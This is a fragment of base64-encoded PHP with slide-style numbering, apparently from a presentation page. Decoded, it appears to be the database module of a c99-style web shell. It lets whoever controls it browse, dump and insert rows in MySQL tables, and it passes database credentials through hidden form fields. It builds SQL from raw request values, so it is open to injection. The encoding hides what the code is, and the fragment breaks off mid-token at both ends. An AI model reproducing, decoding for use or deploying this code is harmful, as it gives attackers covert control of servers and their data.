ID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAg IGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBh Z2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3Fs X29yZGVyKTsNCiAgICAgaWYgKGNvdW50KCRlKSA9PSAyKQ0KICAgICB7DQogICAgICBpZiAoJGVb MF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30NCiAgICAgIGVsc2UgeyRhc2NfZGVzYyA9 ICJBU0MiO30NCiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIg IjsNCiAgICAgfQ0KICAgICBlbHNlIHskdiA9ICIiO30NCiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAq IEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVy cGFnZS4iIjsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlz cWxfc21hcnRlcnJvcigpKTsNCiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2Vu dGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1f ZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9j ZW50ZXI+IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3Fs LmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVj aWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIu aHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNx
  18. 18. bF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5z cWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3Fs X3RibC52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF90YmwpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJs X2FjdC52YWx1ZT0nc3RydWN0dXJlJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxi PlN0cnVjdHVyZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8g IjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9j dW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4p LiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFs Y2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1s c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51 cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5j b2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9hY3QudmFsdWU9J2Jyb3dzZSc7 ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4m bmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3 ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQu c3FsLnNxbF9hY3QudmFsdWU9J3RibGR1bXAnO2RvY3VtZW50LnNxbC50aGlzdGJsLnZhbHVlPScx Jztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxiPkR1bXA8L2I+Jm5ic3A7XTwvYT4m bmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3 ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwu c3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1 bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIn O2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3Vt ZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQu c3FsLnNxbF90YmxfYWN0LnZhbHVlPSdpbnNlcnQnO2RvY3VtZW50LnNxbC50aGlzdGJsLnZhbHVl PScxJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxiPkluc2VydDwvYj4mbmJzcDtd PC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gInN0cnVj dHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgIGlmICgk c3FsX3RibF9hY3QgPT0gImluc2VydCIpDQogICAgIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJHNx bF90YmxfaW5zZXJ0KSkgeyRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7fQ0KICAgICAgaWYgKCFl bXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgew0KDQogICAgICB9DQogICAgICBl bHNlDQogICAgICB7DQogICAgICAgZWNobyAiPGJyPjxicj48Yj5JbnNlcnRpbmcgcm93IGludG8g dGFibGU6PC9iPjxicj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0K ICAgICAgIHsNCiAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJs LiJgIjsNCiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIFdIRVJFIi4kc3FsX3RibF9pbnNlcnRfcTsN CiAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgJHNxbF9xdWVyeSA9 IHVybGRlY29kZSgkc3FsX3F1ZXJ5KTsNCiAgICAgICAgJHNxbF90YmxfaW5zZXJ0X3EgPSB1cmxk ZWNvZGUoJHNxbF90YmxfaW5zZXJ0X3EpOw0KICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnko JHNxbF9xdWVyeSwkc3FsX3NvY2spIG9yIHByaW50KCI8YnI+PGJyPiIubXlzcWxfc21hcnRlcnJv cigpKTsNCiAgICAgICAgJHZhbHVlcyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpOw0KICAg ICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICB9DQogICAgICAgZWxzZSB7 JHZhbHVlcyA9IGFycmF5KCk7fQ0KICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48 aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nc3FsX3RibF9hY3QnIHZhbHVlPSdpbnNlcnQnPjxpbnB1 dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2luc2VydF9xJyB2YWx1ZT0nIi51cmxlbmNvZGUo JHNxbF90YmxfaW5zZXJ0X3EpLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSdzcWxfdGJsX2xz JyB2YWx1ZT0nIi4kc3FsX3RibF9scy4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0nc3FsX3Ri bF9sZScgdmFsdWU9JyIuJHNxbF90YmxfbGUuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3Fs X3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBl PVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVl PVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVu
  19. 19. XCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl cnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1 ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlk ZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf bG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNx bFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRk aW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMw YzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwvYj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+ PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxiPlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KDQog ICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkNCiAgICAgICB7DQog ICAgICAgICRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOw0KICAgICAgICBpZiAoZW1wdHkoJHNxbF90 YmxfaW5zZXJ0X3EpKSB7JHYgPSAiIjt9DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1s c3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+ PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hh cnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dP UkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxv cHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29w dGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9u PjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwi XCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNF PC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlv bj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RB WVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9B REQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9v cHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9u PjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+ PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRt bHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFs dWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICRpKys7DQogICAg ICAgfQ0KICAgICAgIGVjaG8gIjwvdGFibGU+PGJyPiI7DQogICAgICAgZWNobyAiPGlucHV0IHR5 cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsg aWYgKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48 Yj5JbnNlcnQgYXMgbmV3IHJvdzwvYj4iOw0KICAgICAgIGlmICghZW1wdHkoJHNxbF90YmxfaW5z ZXJ0X3EpKSB7ZWNobyAiIG9yIDxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9p bnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjJcIiBjaGVja2VkPjxiPlNhdmU8L2I+IjsgZWNobyAiPGlu cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcVwiIHZhbHVlPVwiIi5o dG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKS4iXCI+Ijt9DQogICAgICAgZWNobyAi PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9ybT4i Ow0KICAgICAgfQ0KICAgICB9DQogICAgIGlmICgkc3FsX3RibF9hY3QgPT0gImJyb3dzZSIpDQog ICAgIHsNCiAgICAgICRzcWxfdGJsX2xzID0gYWJzKCRzcWxfdGJsX2xzKTsNCiAgICAgICRzcWxf dGJsX2xlID0gYWJzKCRzcWxfdGJsX2xlKTsNCiAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5v c2hhZGU+IjsNCiAgICAgICRiID0gMDsNCiAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsr KQ0KICAgICAgew0KICAgICAgIGlmICgoJGkqJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9yICgk aSokcGVycGFnZSskcGVycGFnZSAhPSAkc3FsX3RibF9sZSkpIHtlY2hvICI8YSBocmVmPVwiI1wi IG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxf bG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5z cWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztk b2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy dmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxf ZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCku Iic7ZG9jdW1lbnQuc3FsLnRoaXN0YmwudmFsdWU9JzEnO2RvY3VtZW50LnNxbC5zcWxfb3JkZXIu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iJztkb2N1bWVudC5zcWwuc3Fs X3RibF9scy52YWx1ZT0nIi4oJGkqJHBlcnBhZ2UpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsX2xl LnZhbHVlPSciLigkaSokcGVycGFnZSskcGVycGFnZSkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgp O1wiPjx1PiI7fQ0KICAgICAgIGVjaG8gJGk7DQogICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAk c3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2Vj aG8gIjwvdT48L2E+Ijt9DQogICAgICAgaWYgKCgkaS8zMCA9PSByb3VuZCgkaS8zMCkpIGFuZCAo JGkgPiAwKSkge2VjaG8gIjxicj4iO30NCiAgICAgICBlbHNlIHtlY2hvICImbmJzcDsiO30NCiAg
  20. 20. ICAgIH0NCiAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgIGVjaG8gIjxm b3JtIG1ldGhvZD1cIlBPU1RcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2 YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVl PVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi IG5hbWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2lu KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwi Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5c IiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2Vy dmVyKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1c IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi IG5hbWU9XCJzcWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJc Ij48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfb3JkZXJcIiB2YWx1ZT1cIiIuaHRt bHNwZWNpYWxjaGFycygkc3FsX29yZGVyKS4iXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfbHNcIiB2YWx1ZT1cIiIuJHNxbF90YmxfbHMuIlwi PiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3Ri bF9sZVwiIHZhbHVlPVwiIi4kc3FsX3RibF9sZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJt aXRcIiB2YWx1ZT1cIlZpZXdcIj48L2Zvcm0+IjsNCiAgICAgIGVjaG8gIjxicj48Zm9ybSBtZXRo b2Q9XCJQT1NUXCI+PFRBQkxFIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYg Y2VsbFBhZGRpbmc9NSB3aWR0aD1cIjElXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGln aHQ9I2MwYzBjMCBib3JkZXI9MT4iOw0KICAgICAgZWNobyAiPHRyPiI7DQogICAgICBlY2hvICI8 dGQ+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJib3hyb3dfYWxsXCIgdmFsdWU9XCIx XCI+PC90ZD4iOw0KICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7 JGkrKykNCiAgICAgIHsNCiAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7 DQogICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30NCiAgICAg ICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQ0KICAgICAgIGVjaG8gIjx0ZD4iOw0KICAg ICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9DQogICAgICAgaWYgKCRlWzFdICE9 ICR2KSB7JHNxbF9vcmRlcj0iIjskc3FsX29yZGVyPSRlWzBdLiIgIi4kdjtlY2hvICI8YSBocmVm PVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNx bC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1 bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dk KS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxj aGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIudXJsZW5jb2Rl KCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJsLnZhbHVlPSciLnVybGVuY29kZSgkc3Fs X3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9vcmRlci52YWx1ZT0nIi4kc3FsX29yZGVyLiInO2Rv Y3VtZW50LnNxbC5zcWxfdGJsX2xzLnZhbHVlPSciLiRzcWxfdGJsX2xzLiInO2RvY3VtZW50LnNx bC5zcWxfdGJsX2xlLnZhbHVlPSciLiRzcWxfdGJsX2xlLiInO2RvY3VtZW50LnNxbC5zdWJtaXQo KTtcIj48Yj4iLiR2LiI8L2I+PC9hPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPiIuJHYuIjwv Yj4gPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztk b2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dp bikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNp YWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5zcWwuc3FsX2RiLnZhbHVlPSci LnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi51cmxl bmNvZGUoJHNxbF90YmwpLiInO2RvY3VtZW50LnNxbC5zcWxfb3JkZXIudmFsdWU9JyIuJHMuIiUy MCIuJHYuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmxfbHMudmFsdWU9JyIuJHNxbF90YmxfbHMuIic7 ZG9jdW1lbnQuc3FsLnNxbF90YmxfbGUudmFsdWU9JyIuJHNxbF90YmxfbGUuIic7ZG9jdW1lbnQu c3FsLnN1Ym1pdCgpO1wiPjxmb250IGNvbG9yPXJlZD5cLzwvZm9udD48L2E+Ijt9DQogICAgICAg ZWNobyAiPC90ZD4iOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRkPjxmb250IGNvbG9yPVwiZ3Jl ZW5cIj48Yj5BY3Rpb248L2I+PC9mb250PjwvdGQ+IjsNCiAgICAgIGVjaG8gIjwvdHI+IjsNCiAg ICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0Mp KQ0KICAgICAgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAg JGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9m aWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hl cygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0g c3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBl PVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsN CiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAg
  21. 21. ew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0g IiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAg ZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAg ZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1l bnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFs dWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9z ZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQu c3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1 bWVudC5zcWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5z cWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5zcWxfcXVlcnkudmFsdWU9JyIu 